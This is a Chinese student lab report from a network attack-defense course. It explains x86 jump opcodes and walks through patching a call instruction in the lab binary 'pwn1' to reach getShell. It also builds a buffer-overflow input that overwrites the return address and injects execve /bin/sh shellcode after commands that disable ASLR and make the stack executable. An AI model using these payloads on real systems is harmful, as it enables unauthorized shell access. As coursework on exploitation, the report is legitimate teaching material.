2018-2019-2 网络对抗技术 20165324 Exp1:PC平台逆向破解
2018-2019-2 网络对抗技术 20165324 Exp1:PC平台逆向破解
实验:
要求:
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)
- 掌握反汇编与十六进制编程器 (0.5分)
- 能正确修改机器指令改变程序执行流程(0.5分)
- 能正确构造payload进行bof攻击(0.5分)
内容:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
- 注入一个自己制作的shellcode并运行这段shellcode
基础知识:
- 掌握汇编指令的机器码:
- NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
- JNE:条件转移指令,如果不相等则跳转。(机器码:75)
- JE:条件转移指令,如果相等则跳转。(机器码:74)
- JMP:无条件转移指令。段内直接短转Jmp
- short(机器码:EB)段内直接近转移Jmp
- near(机器码:E9)段内间接转移Jmp
- word(机器码:FF)段间直接(远)转移Jmp
- far(机器码:EA)
- CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
实验1.1:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 用
objdump -d pwn1
命令进行反汇编:
- 查看main:
call 8048491 <foo>
是汇编指令,这条指令将调用位于地址8048491处的foo函数;其对应机器指令为e8 d7ffffff
,e8即跳转之意
本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行EIP + d7ffffff这个位置的指令。d7ffffff是补码,表示-41,41=0x29,80484ba +d7ffffff=80484ba-0x29正好是8048491这个值,
main函数调用foo,对应机器指令为e8 d7ffffff,
那我们想让它调用getShell,只要修改d7ffffff为getShell-80484ba对应的补码就行 - 修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff:
- 修改可执行文件:
vim pwn1
- esc->:%!xxd 将显示模式切换为16进制模式
- 修改d7为c3
:%!xxd -r
转换16进制为原格式:wq
存盘退出vim- 用
objdump -d pwn1
命令反汇编看一下,call指令是否正确调用getShell:
- 运行pwn1文件:
./pwn1
可得:
实验1.2:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 我们的目标是触发函数getShell
该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞 - 函数foo中的mov(804849a)读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
- 函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484ae
- getShell的内存地址,通过反汇编时可以看到,即0804847d,接下来要输入字节序,11111111222222223333333344444444\x7d\x84\x04\x08。
- 关于Perl:Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。使用输出重定向“>”将perl生成的字符串存储到文件input中。
- 然后将input的输入,通过管道符“|”,作为pwn2的输入。
实验1.3:注入一个自己制作的shellcode并运行这段shellcode
准备条件:以下实践是在非常简单的一个预设条件下完成的:
1. 关闭堆栈保护(gcc -fno-stack-protector)
2. 关闭堆栈执行保护(execstack -s)
3. 关闭地址随机化(/proc/sys/kernel/randomize_va_space=0)
4. 在x32环境下
5. 在Linux实践环境
- 因此修改设置如下:
apt-get install execstack //安装execstack命令
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
构建input_shellcode
- 使用命令
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
注入,其中前面32个A用来填满缓冲区buf,\x04\x03\x02\x01为预留的返回地址.
寻找进程号和返回地址:
- 打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn1
再开另外一个终端Ctrl+Shift+T
,用gdb来调试pwn3这个进程:
用ps -ef | grep pwn3
命令找到pwn3的进程号是5885。 - 用
gdb
命令启动gdb调试这个进程:attach 5885
;- 用
disassemble foo
命令反汇编,通过设置断点,来查看注入buf的内存地址; - 用
break *0x080484ae
命令设置断点,输入c命令(continue)继续运行,同时在pwn3进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp
命令查找地址; - x/16x 0xffffd34c以16进制形式查看0xffffd34c地址后面16字节的内容;
- 注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即
0xdffff21c + 0x00000004 = 0xdffff220
; - 退出
gdb
。
2018-2019-2 网络对抗技术 20165324 Exp1:PC平台逆向破解的更多相关文章
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
- 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...
- 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...
- 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3
<网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...
- 2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解 实验内容及步骤 第一部分:直接修改程序机器指令,改变程序执行流程 关键:通过修改call指令跳转的地址,将原本指向被 ...
随机推荐
- 【java工具】AES CBC加密
一.定义 高级加密标准(英语:Advanced Encryption Standard,缩写:AES),在密码学中又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准.这个标准用来替代原先 ...
- 【VI】如何再执行上一个(历史)命令(已解决)
输入命令提示符( : )+ 上下箭头(<Up/Down>键) 输入 :his 或者 :history 查看历史
- Entity Framework6测试使用
Entity Framework6安装完成后测试下 上一篇中完成了对Entity Framework6的下载安装,一下做一个简单的数据添加测试 1.创建一个简单的控制台测试项目 2.创建实体数据模型 ...
- vue2.0笔记《一》列表渲染
内容中包含 base64string 图片造成字符过多,拒绝显示
- yum安装pip,pip安装compose
#centos7 yum -y install epel-release yum -y install python-pip pip install --upgrade pip pip install ...
- MVC + ajaxform 文件上传
一.前端cshtml代码 <tr> <td width="130" align="right">添加附件:</td> @us ...
- Unity3D笔记 愤怒的小鸟<六> 弹弓发射小鸟
要实现的目标 实现个性化的鼠标 实现弹弓 选择小鸟.拉升弹弓.发射小鸟 弹弓橡皮筋 声音 1.实现个性化鼠标 效果 2.添加弹弓 建立两个材质 创建一个空GameObject 把两个shoot拖进来统 ...
- iOS8新特性(1)——UIAlertController
一.iOS8介绍 iOS8 新特性,主要是UI上进行了统一 1.UIAlertController 2.UIPresentaionController:管理所有通过modal出来的控制器(看笔记) 3 ...
- python模块路径
Python会在以下路径中搜索它想要寻找的模块: 1. 程序所在的文件夹 2. 标准库的安装路径 3. 操作系统环境变量PYTHONPATH所包含的路径 将自定义库的路径添加到Python的库路径中去 ...
- POJ 2406 - Power Strings - [KMP求最小循环节]
题目链接:http://poj.org/problem?id=2406 Time Limit: 3000MS Memory Limit: 65536K Description Given two st ...